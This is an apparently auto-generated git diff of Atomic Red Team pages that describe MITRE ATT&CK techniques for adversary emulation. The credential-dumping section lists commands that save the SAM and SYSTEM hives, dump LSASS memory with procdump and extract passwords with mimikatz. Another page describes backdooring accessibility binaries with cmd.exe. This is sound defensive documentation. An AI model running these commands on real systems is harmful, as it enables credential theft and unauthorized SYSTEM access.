From 6965fc15ef872281346d99d5eea952907167dec3 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 14 Nov 2018 20:59:18 +0000 Subject: [PATCH] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1002/T1002.md | 12 +- atomics/T1003/T1003.md | 91 +- atomics/T1007/T1007.md | 12 +- atomics/T1009/T1009.md | 10 +- atomics/T1012/T1012.md | 12 +- atomics/T1014/T1014.md | 14 +- atomics/T1015/T1015.md | 24 +- atomics/T1016/T1016.md | 12 +- atomics/T1018/T1018.md | 20 +- atomics/T1022/T1022.md | 14 +- atomics/T1027/T1027.md | 20 +- atomics/T1028/T1028.md | 14 +- atomics/T1030/T1030.md | 10 +- atomics/T1031/T1031.md | 22 +- atomics/T1033/T1033.md | 20 +- atomics/T1035/T1035.md | 12 +- atomics/T1036/T1036.md | 26 +- atomics/T1037/T1037.md | 14 +- atomics/T1040/T1040.md | 14 +- atomics/T1042/T1042.md | 24 +- atomics/T1046/T1046.md | 12 +- atomics/T1047/T1047.md | 16 +- atomics/T1048/T1048.md | 10 +- atomics/T1049/T1049.md | 18 +- atomics/T1050/T1050.md | 16 +- atomics/T1053/T1053.md | 28 +- atomics/T1055/T1055.md | 46 +- atomics/T1056/T1056.md | 18 +- atomics/T1057/T1057.md | 20 +- atomics/T1059/T1059.md | 14 +- atomics/T1060/T1060.md | 24 +- atomics/T1062/T1062.md | 10 +- atomics/T1063/T1063.md | 18 +- atomics/T1064/T1064.md | 18 +- atomics/T1065/T1065.md | 10 +- atomics/T1069/T1069.md | 20 +- atomics/T1070/T1070.md | 18 +- atomics/T1074/T1074.md | 12 +- atomics/T1075/T1075.md | 12 +- atomics/T1076/T1076.md | 20 +- atomics/T1077/T1077.md | 16 +- atomics/T1081/T1081.md | 14 +- atomics/T1082/T1082.md | 18 +- atomics/T1083/T1083.md | 18 +- atomics/T1084/T1084.md | 10 +- atomics/T1085/T1085.md | 16 +- atomics/T1086/T1086.md | 14 +- atomics/T1087/T1087.md | 22 +- atomics/T1088/T1088.md | 23 +- atomics/T1089/T1089.md | 10 +- atomics/T1090/T1090.md | 16 +- atomics/T1096/T1096.md | 20 +- atomics/T1098/T1098.md | 12 +- atomics/T1099/T1099.md | 12 +- atomics/T1103/T1103.md | 18 +- atomics/T1105/T1105.md | 16 +- atomics/T1107/T1107.md | 14 +- atomics/T1110/T1110.md | 18 +- atomics/T1112/T1112.md | 18 +- atomics/T1113/T1113.md | 12 +- atomics/T1115/T1115.md | 12 +- atomics/T1117/T1117.md | 16 +- atomics/T1118/T1118.md | 16 +- atomics/T1119/T1119.md | 14 +- atomics/T1121/T1121.md | 16 +- atomics/T1122/T1122.md | 14 +- atomics/T1123/T1123.md | 12 +- atomics/T1124/T1124.md | 10 +- atomics/T1126/T1126.md | 16 +- atomics/T1127/T1127.md | 32 +- atomics/T1128/T1128.md | 14 +- atomics/T1130/T1130.md | 24 +- atomics/T1132/T1132.md | 14 +- atomics/T1134/T1134.md | 30 +- atomics/T1135/T1135.md | 18 +- atomics/T1136/T1136.md | 10 +- atomics/T1137/T1137.md | 25 +- atomics/T1138/T1138.md | 20 +- atomics/T1139/T1139.md | 10 +- atomics/T1140/T1140.md | 20 +- atomics/T1141/T1141.md | 10 +- atomics/T1142/T1142.md | 10 +- atomics/T1144/T1144.md | 10 +- atomics/T1145/T1145.md | 16 +- atomics/T1146/T1146.md | 12 +- atomics/T1147/T1147.md | 10 +- atomics/T1148/T1148.md | 12 +- atomics/T1150/T1150.md | 14 +- atomics/T1151/T1151.md | 12 +- atomics/T1152/T1152.md | 14 +- atomics/T1153/T1153.md | 12 +- atomics/T1154/T1154.md | 12 +- atomics/T1155/T1155.md | 12 +- atomics/T1156/T1156.md | 10 +- atomics/T1158/T1158.md | 22 +- atomics/T1159/T1159.md | 12 +- atomics/T1160/T1160.md | 12 +- atomics/T1163/T1163.md | 10 +- atomics/T1164/T1164.md | 10 +- atomics/T1165/T1165.md | 12 +- atomics/T1166/T1166.md | 14 +- atomics/T1168/T1168.md | 24 +- atomics/T1169/T1169.md | 12 +- atomics/T1170/T1170.md | 18 +- atomics/T1173/T1173.md | 16 +- atomics/T1176/T1176.md | 14 +- atomics/T1179/T1179.md | 26 +- atomics/T1180/T1180.md | 22 +- atomics/T1183/T1183.md | 20 +- atomics/T1191/T1191.md | 18 +- atomics/T1193/T1193.md | 12 +- atomics/T1197/T1197.md | 24 +- atomics/T1201/T1201.md | 20 +- atomics/T1202/T1202.md | 16 +- atomics/T1206/T1206.md | 16 +- atomics/T1207/T1207.md | 20 +- atomics/T1214/T1214.md | 15 +- atomics/T1216/T1216.md | 18 +- atomics/T1217/T1217.md | 16 +- atomics/index.md | 18 +- atomics/index.yaml | 12780 ++++++++++++++++++------------------ atomics/linux-index.md | 6 + atomics/linux-matrix.md | 39 +- atomics/macos-index.md | 8 +- atomics/macos-matrix.md | 39 +- atomics/matrix.md | 96 +- atomics/windows-index.md | 15 +- atomics/windows-matrix.md | 84 +- 128 files changed, 6901 insertions(+), 8186 deletions(-) diff --git a/atomics/T1002/T1002.md b/atomics/T1002/T1002.md index 4b2ecb85dc..4c55af495c 100644 --- a/atomics/T1002/T1002.md +++ b/atomics/T1002/T1002.md @@ -1,16 +1,6 @@ # T1002 - Data Compressed ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1002) -
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib. - -Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. - -If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures) - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring - -Requires Network: No
+
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
## Atomic Tests diff --git a/atomics/T1003/T1003.md b/atomics/T1003/T1003.md index 4baf922074..08ae0d1db0 100644 --- a/atomics/T1003/T1003.md +++ b/atomics/T1003/T1003.md @@ -4,17 +4,21 @@ Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well. -===SAM (Security Accounts Manager)=== +### Windows -The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required. +#### SAM (Security Accounts Manager) + +The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.   A number of tools can be used to retrieve the SAM file through in-memory techniques: + * pwdumpx.exe -* gsecdump -* Mimikatz +* [gsecdump](https://attack.mitre.org/software/S0008) +* [Mimikatz](https://attack.mitre.org/software/S0002) * secretsdump.py -Alternatively, the SAM can be extracted from the Registry with Reg: +Alternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075): + * reg save HKLM\sam sam * reg save HKLM\system system @@ -25,30 +29,32 @@ Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+. -===Cached Credentials=== +#### Cached Credentials -The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. +The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.   A number of tools can be used to retrieve the SAM file through in-memory techniques. + * pwdumpx.exe -* gsecdump -* Mimikatz +* [gsecdump](https://attack.mitre.org/software/S0008) +* [Mimikatz](https://attack.mitre.org/software/S0002) Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials. Notes: Cached credentials for Windows Vista are derived using PBKDF2. -===Local Security Authority (LSA) Secrets=== +#### Local Security Authority (LSA) Secrets With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.   When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.   A number of tools can be used to retrieve the SAM file through in-memory techniques. + * pwdumpx.exe -* gsecdump -* Mimikatz +* [gsecdump](https://attack.mitre.org/software/S0008) +* [Mimikatz](https://attack.mitre.org/software/S0002) * secretsdump.py Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials. @@ -57,85 +63,74 @@ Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation. -===NTDS from Domain Controller=== +#### NTDS from Domain Controller Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory) The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. -  + * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy -===Group Policy Preference (GPP) Files=== +#### Group Policy Preference (GPP) Files Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts. -  + These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP) -  + The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: -  + * Metasploit’s post exploitation module: "post/windows/gather/credentials/gpp" * Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword) * gpprefdecrypt.py -  + Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. -dir /s *.xml +dir /s * .xml -===Service Principle Names (SPNs)=== +#### Service Principal Names (SPNs) -See Kerberoasting. +See [Kerberoasting](https://attack.mitre.org/techniques/T1208). -===Plaintext Credentials=== +#### Plaintext Credentials After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM. -  + SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications. The following SSPs can be used to access credentials: -  + Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)   The following tools can be used to enumerate credentials: -  -* Windows Credential Editor -* Mimikatz -  + +* [Windows Credential Editor](https://attack.mitre.org/software/S0005) +* [Mimikatz](https://attack.mitre.org/software/S0002) + As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. -  + For example, on the target host use procdump: * procdump -ma lsass.exe lsass_dump -  + Locally, mimikatz can be run: + * sekurlsa::Minidump lsassdump.dmp * sekurlsa::logonPasswords -===DCSync=== - -DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017) - -Detection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity. - -Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. - -On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. - -Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. - -Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015) +#### DCSync -Platforms: Windows +DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017) -Data Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs +### Linux -Permissions Required: Administrator, SYSTEM +#### Proc filesystem -Contributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs +The /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts. ## Atomic Tests diff --git a/atomics/T1007/T1007.md b/atomics/T1007/T1007.md index 5a54d553b1..721c6c3672 100644 --- a/atomics/T1007/T1007.md +++ b/atomics/T1007/T1007.md @@ -1,16 +1,6 @@ # T1007 - System Service Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1007) -
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Windows - -Data Sources: Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator, SYSTEM
+
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well.
## Atomic Tests diff --git a/atomics/T1009/T1009.md b/atomics/T1009/T1009.md index 06f5aa56d4..240c2a6016 100644 --- a/atomics/T1009/T1009.md +++ b/atomics/T1009/T1009.md @@ -1,14 +1,6 @@ # T1009 - Binary Padding ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1009) -
Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists. - -Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. - -When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. - -Platforms: Linux, macOS, Windows - -Defense Bypassed: Anti-virus, Signature-based detection
+
Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
## Atomic Tests diff --git a/atomics/T1012/T1012.md b/atomics/T1012/T1012.md index 77c3beca3e..02ee4fc519 100644 --- a/atomics/T1012/T1012.md +++ b/atomics/T1012/T1012.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1012)
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. -The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Interaction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Windows - -Data Sources: Windows Registry, Process monitoring, Process command-line parameters - -Permissions Required: User, Administrator, SYSTEM
+The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. ## Atomic Tests diff --git a/atomics/T1014/T1014.md b/atomics/T1014/T1014.md index dfaa635225..560a570f5c 100644 --- a/atomics/T1014/T1014.md +++ b/atomics/T1014/T1014.md @@ -1,18 +1,8 @@ # T1014 - Rootkit ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1014) -
Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit) +
Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit) -Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) - -Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit) - -Platforms: Linux, macOS, Windows - -Data Sources: BIOS, MBR, System calls - -Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path - -Permissions Required: Administrator, SYSTEM, root
+Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
## Atomic Tests diff --git a/atomics/T1015/T1015.md b/atomics/T1015/T1015.md index 7afccc501d..07be840581 100644 --- a/atomics/T1015/T1015.md +++ b/atomics/T1015/T1015.md @@ -6,29 +6,17 @@ Two common accessibility programs are C:\Windows\System32\sethc.exe Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods: -For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) +For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) -*On-Screen Keyboard: C:\Windows\System32\osk.exe -*Magnifier: C:\Windows\System32\Magnify.exe -*Narrator: C:\Windows\System32\Narrator.exe -*Display Switcher: C:\Windows\System32\DisplaySwitch.exe -*App Switcher: C:\Windows\System32\AtBroker.exe - -Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. - -Platforms: Windows - -Data Sources: Windows Registry, File monitoring, Process monitoring - -Effective Permissions: SYSTEM - -Permissions Required: Administrator - -Contributors: Paul Speulstra, AECOM Global Security Operations Center +* On-Screen Keyboard: C:\Windows\System32\osk.exe +* Magnifier: C:\Windows\System32\Magnify.exe +* Narrator: C:\Windows\System32\Narrator.exe +* Display Switcher: C:\Windows\System32\DisplaySwitch.exe +* App Switcher: C:\Windows\System32\AtBroker.exe ## Atomic Tests diff --git a/atomics/T1016/T1016.md b/atomics/T1016/T1016.md index 43c329716d..e883ea7d77 100644 --- a/atomics/T1016/T1016.md +++ b/atomics/T1016/T1016.md @@ -1,16 +1,6 @@ # T1016 - System Network Configuration Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1016) -
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: Process command-line parameters, Process monitoring - -Permissions Required: User
+
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
## Atomic Tests diff --git a/atomics/T1018/T1018.md b/atomics/T1018/T1018.md index 8a55c0d768..fe876b9279 100644 --- a/atomics/T1018/T1018.md +++ b/atomics/T1018/T1018.md @@ -2,27 +2,17 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1018)
Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. -===Windows=== +### Windows -Examples of tools and commands that acquire this information include "ping" or "net view" using Net. +Examples of tools and commands that acquire this information include "ping" or "net view" using [Net](https://attack.mitre.org/software/S0039). -===Mac=== +### Mac Specific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems. -===Linux=== +### Linux -Utilities such as "ping" and others can be used to gather information about remote systems. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network - -Permissions Required: User, Administrator, SYSTEM
+Utilities such as "ping" and others can be used to gather information about remote systems. ## Atomic Tests diff --git a/atomics/T1022/T1022.md b/atomics/T1022/T1022.md index 82a32bfc07..d00ca6aa5a 100644 --- a/atomics/T1022/T1022.md +++ b/atomics/T1022/T1022.md @@ -2,19 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1022)
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. -Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol - -Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. - -A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. - -Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures) - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring - -Requires Network: No
+Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) ## Atomic Tests diff --git a/atomics/T1027/T1027.md b/atomics/T1027/T1027.md index f46881c690..00975b3b4c 100644 --- a/atomics/T1027/T1027.md +++ b/atomics/T1027/T1027.md @@ -2,27 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1027)
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. -Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. +Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. 